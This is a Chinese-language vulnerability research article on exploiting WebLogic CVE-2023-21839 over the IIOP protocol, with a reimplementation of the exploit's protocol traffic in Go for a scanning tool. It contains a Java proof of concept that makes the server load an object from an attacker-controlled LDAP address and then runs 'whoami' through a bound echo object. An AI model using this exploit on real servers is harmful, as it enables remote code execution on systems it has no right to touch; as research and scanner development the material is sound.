0x01 探索总结
Weblogic序列化漏洞主要依赖于T3和IIOP协议,在通信交互方面存在诸多问题,如跨语言、网络传输等,给漏洞检测和利用带来诸多不便。在WhiteHat Labs的理念中,漏洞检测和利用是一项创造性的工作,应该以最简洁高效的方式实现,以保证漏洞的跨平台性和实用性。因此,我们实现了跨语言的IIOP协议通信方案来解决序列化漏洞问题。
在Goby的CVE-2023-21839漏洞中,我们成功实现了IIOP协议跨语言通信的解决方案,在漏洞检测和利用上取得了完美的效果。
0x02 Weblogic IIOP
GIOP是CORBA规范定义的一种协议,用于分布式对象之间的通信和交互。它为对象的请求、响应、异常、命名等定义了基本的通信模式和协议规范。简单来说,GIOP是一种抽象的协议标准,定义了通信模式和协议规范,并不是具体的协议实现。
IIOP 是一个 TCP/IP 协议栈,它实现了 GIOP 协议,允许 CORBA 对象通过 Internet 进行通信和交互。简单来说,IIOP协议就是在TCP/IP层实现的GIOP协议。
RMI-IIOP 是Java 远程方法调用(RMI) 协议的一种实现方式,它扩展了IIOP 协议,具有通过RMI 远程调用Java 对象的功能。简单来说,RMI-IIOP 协议结合了RMI 远程调用Java 对象的功能和IIOP 协议。(在本文的 Weblogic 部分,RMI-IIOP 将被视为 IIOP 协议。)
在《Weblogic IIOP Protocol NAT Network Bypass》一文(https://www.r4v3zn.com/posts/144eb4b6/#more)中提到“T3协议本质上是RMI中用于数据传输的协议。RMI- IIOP同时兼容RMI和IIOP,因此在Weblogic中,任何可以通过T3序列化的代码也可以通过IIOP协议进行序列化。对于同时启用了IIOP和T3协议的Weblogic,在序列化数据协议传输的过程中并没有本质区别,Weblogic在通信过程中可能存在网络问题。因此,为了解决Java序列化问题和IIOP网络问题,我选择了IIOP协议作为本次Weblogic序列化协议研究的重点。
0x03 IIOP攻击流程
以CVE-2023-21839 Weblogic序列化漏洞为例,在Weblogic的IIOP攻击过程中,攻击者首先初始化上下文信息,使用rebind()方法将恶意对象绑定到注册表,然后触发该漏洞通过使用 lookup() 方法从恶意地址远程加载存根对象。自定义的恶意对象在加载过程中进行自绑定操作,将一个带有echo的对象绑定到Weblogic注册中心,然后远程调用该对象中的方法,达到攻击echo的目的。
概念验证(poc):
public class main { public static void main(String[] args) throws NamingException, RemoteException { ForeignOpaqueReference foreignOpaqueReference = new ForeignOpaqueReference("ldap://xxx.xxx.xxx.xxx:1389/exp", null); String iiop_addr = "iiop://10.211.55.4:7001"; Hashtable<String, String> env = new Hashtable<String, String>(); env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory"); env.put("java.naming.provider.url", iiop_addr); Context context = new InitialContext(env); // Initialize context and establish interactive connections LocateRequest LocateReply String bind_name = String.valueOf(System.currentTimeMillis()); context.rebind(bind_name, foreignOpaqueReference); //Bind remote objects rebind_any context.lookup(bind_name); // Get Remote Objects resove_anyClusterMasterRemote clusterMasterRemote = (ClusterMasterRemote)context.lookup("selfbind_name"); //Obtain self bound echo objects System.out.println(clusterMasterRemote.getServerLocation("whoami")); // Executing methods in remote objects } }
3.1 Java中的攻击流程
Weblogic中IIOP序列化交互开始时,客户端用new初始化上下文信息,InitialContext()
并使用locateNameService()
方法将目标地址、序列化对象等信息封装到IIOP协议请求包中作为消息LocateRequest
与Weblogic服务器建立通信.
当客户端收到LocateReply
来自服务器的消息时,表明通信交互已经建立。客户端会解析响应消息体中的信息,提取相关信息(如Key Address、内部类地址、上下文信息等)作为下一次请求消息的验证信息。
通信建立后,IIOP 将Key Address
在交互建立期间使用服务器响应数据包中的作为下Key Address
一个请求中的。bind()
or方法执行时rebind()
,会将绑定的对象名称、对象的序列化数据等信息封装到Stub data
请求消息体的字段中进行消息传输。
- IIOP 协议在执行
lookup()
方法时,首先调用lookup()
创建的上下文对象中的方法。该方法根据上下文是否为 类型来决定调用lookup()
哪个方法。由于上下文对象属于 NamingContextAny 类型,所以字符串 var1使用该方法转换为数组并传递给该方法。最后将消息封装成序列化的字节流,通过调用方法发送给服务端。lookup()
NamingContextAny
WNameComponent (Wide Name Component)
Utils.stringToWNameComponent(var1)
this.lookup()
resolve_any()
0x04 IIOP的跨语言实现
在“IIOP攻击过程中“一章,在交互部分,当Weblogic处于内网环境时,客户端会使用LocateReply中返回的Weblogic内部类的内部网络地址作为下一个数据包的目标地址。这会导致客户端发送数据包到自己的内部地址,导致网络通信中断问题。另外,由于Go没有官方的IIOP协议库,所以很难对Goby安全工具实施漏洞攻击。如果我们添加一个Java程序作为插件,会使Goby更加臃肿,不符合白帽学院安全研究院的漏洞价值观,针对这些问题,我们决定直接复制IIOP协议作为最终解决方案。
4.1 实现思路
协议通信的本质是在网络上以字节流的形式传输数据。因此,Go实现IIOP协议的方式是模拟IIOP通信的字节流。 对于上一节描述的攻击过程,我们将攻击过程中的IIOP协议通信分为四个部分:建立交互、绑定远程对象、获取远程对象、执行对象方法。在Java中,这些主要是通过以下方法来完成的:
Context context = new InitialContext(env); // Initialize up and down connections, establish interactive connections LocateRequest message LocateReply function context.rebind(bind_name, foreignOpaqueReference); // bind remote object Request message rebind_any function context.lookup(bind_name); // get remote object Request message lookup function ClusterMasterRemote clusterMasterRemote = (ClusterMasterRemote)context.lookup("selfbind_name"); //Obtain self bound echo objects clusterMasterRemote.getServerLocation("whoami"); // Executing methods in remote objects
在模拟IIOP协议实现时,我们只需要实现上述方法执行过程中协议交互的字节流即可。
4.2 GIOP协议规范
GIOP(General Inter-ORB Protocol)是CORBA规范定义的一种协议,用于分布式对象之间的通信和交互。它定义了对象请求、响应、异常、命名等的基本通信模式和协议规范。
GIOP 消息由两部分组成:消息头和消息体。
GIOP消息头包括四个字段:Magic(GIOP标识)、Version(GIOP版本)、Message Flags(标志)、Message type(消息类型)和Message size(消息体长度)。
在GIOP消息体中,主要包括Request id(请求标识)、TargetAddress(目标对象密钥ID)、Key Address(密钥地址)、Request operation(操作方法)、ServiceContext(服务上下文信息)等字段。
限于篇幅,这里不再详述GIOP字段的含义。如果您想更深入地研究协议内容,请参阅我们总结的手册“GIOP 协议分析”。( https://github.com/FeatherStark/GIOP-Protocol-Analysis)。
4.2.1 GIOP协议通讯过程
- 在通信的初始阶段,客户端首先
LocateRequest
向服务器发送一个类型的消息来建立通信。服务端验证请求信息并响应消息类型,LocateReply
表示已经收到客户端的请求,开始与客户端进行交互。 - 通信建立后,客户端发送一个类型的消息
Request
来执行服务器中的一个方法。消息的请求体Request
包含键地址(Key Address
)、要执行的方法名(Request operation
)、消息上下文(Service Context
)、调用远程对象的信息(Stub data
)等。 - 服务器正确接收并解析请求消息后,返回一条
No Exception
Reply类型的消息。如果请求报文解析错误或者服务器端出现异常,则服务器响应一个类型为Reply的User Exception
/System Exception
消息,响应体中包含异常ID(Exception id
)信息。
4.3 初始化上下文
Context context = new InitialContext(env); *// Initialize up and down connections, establish interactive connections LocateRequest message LocateReply function*
在Java代码中,初始化上下文信息建立了对象创建过程中的IIOP协议交互过程。因此,在Go语言中,实现Weblogic生成的字节流new InitialContext(env)
并发送给Weblogic就足够了。IIOP 协议实现中创建对象的过程new InitialContext(env)
由消息表示LocateRequest
。
客户端发送的消息LocateRequest
有固定的格式,包括GIOP协议标识、协议版本、消息类型、消息标识等信息。
由于LocateRequest
是固定格式的序列,可以直接发送给服务器建立交互连接。
服务端收到LocateRequest
消息并验证无误后,向客户端响应消息LocateReply
。该LocateReply
消息包含有关服务器上下文、密钥地址、长度和其他详细信息的信息。
交互建立后,在接下来的通信过程中会用到响应体中的关键地址,所以需要将其提取保存起来,以备后用。为此,我们需要提取第一个的长度Key Address length
,然后根据Key的长度计算出Key Address
,并存储起来以备下次请求使用。另外,由于下一个请求包的目标地址在我们的控制之下,从根本上避免了之前出现的NET网络问题。通过这样做,通信已成功建立。
通信建立后,为了验证Key Address
服务器返回的合法性,我们向服务器发送一条Request
带有方法名的消息。_non_existent
如果服务器以No Exception
状态响应,则表明该Key Address
有效。
4.4 绑定远程对象
context.rebind(bind_name, foreignOpaqueReference); *// bind remote objests Request message rebind_any function*
在 Java 语言中,该rebind()
方法可用于将对象绑定到 Weblogic 注册表。在Go语言中,我们可以实现方法的字节流context.rebind()
,将要绑定的名称和序列化对象添加到字节流中,然后发送给Weblogic。
rebind()
在IIOP协议的具体实现中, method的操作方法名是rebind_any
.
通过该rebind_any
方法将绑定名称和序列化后的对象数据Stub data
发送给服务器,服务器进行重新绑定操作,将对象绑定到Weblogic Register。
在Go中模拟该方法的核心rebind_any
是将生成的payload字节流添加到请求体末尾的Stub数据段中。
4.5 获取远程对象
context.lookup(bind_name); *// bind remote object Request message lookup function*
在Java代码中,lookup()
可以通过context对象的方法获取Weblogic中绑定名的stub对象。同样,在Go语言中,我们可以实现方法的字节流context.lookup()
,将要绑定的名称添加到字节流中,然后发送给Weblogic。
在IIOP协议的具体实现中,lookup()
方法的操作方法名是resolve_any
.
该resolve_any
方法通过发送注册命名信息获取注册中心的存根对象。这里的Go字节码实现和前面的类似,都是把信息放在里面,Stub data
然后发送给服务器,但是这里存放的是stub的命名信息.
的响应消息resolve_any
会生成一个新的Key Address
,其中包含获取远程对象的引用地址等信息。在执行该对象中的方法时,需要将新请求消息中的Key Address替换为该信息。这样对象中的方法就可以正常执行了。
4.6 执行对象方法
执行完lookup()方法后,我们就得到了远程对象的存根信息,然后就可以调用对象中的方法来达到调用远程方法的目的了。代码 clusterMasterRemote.getServerLocation(“whoami”) 是调用远程对象中方法的示例。
以上内容描述了在CVE-2023-21839漏洞上绑定echo类,使用Go语言实现字节流的过程。我们需要以GIOP字节流的格式实现字节流,将Request操作字段的值设置为我们要执行的方法名,将Operation长度设置为方法名的长度,并设置Stub数据到执行方法的字节流。最后封装成GIOP字节流发送给Weblogic。该方法可以触发漏洞并获得回声效果,如下图所示。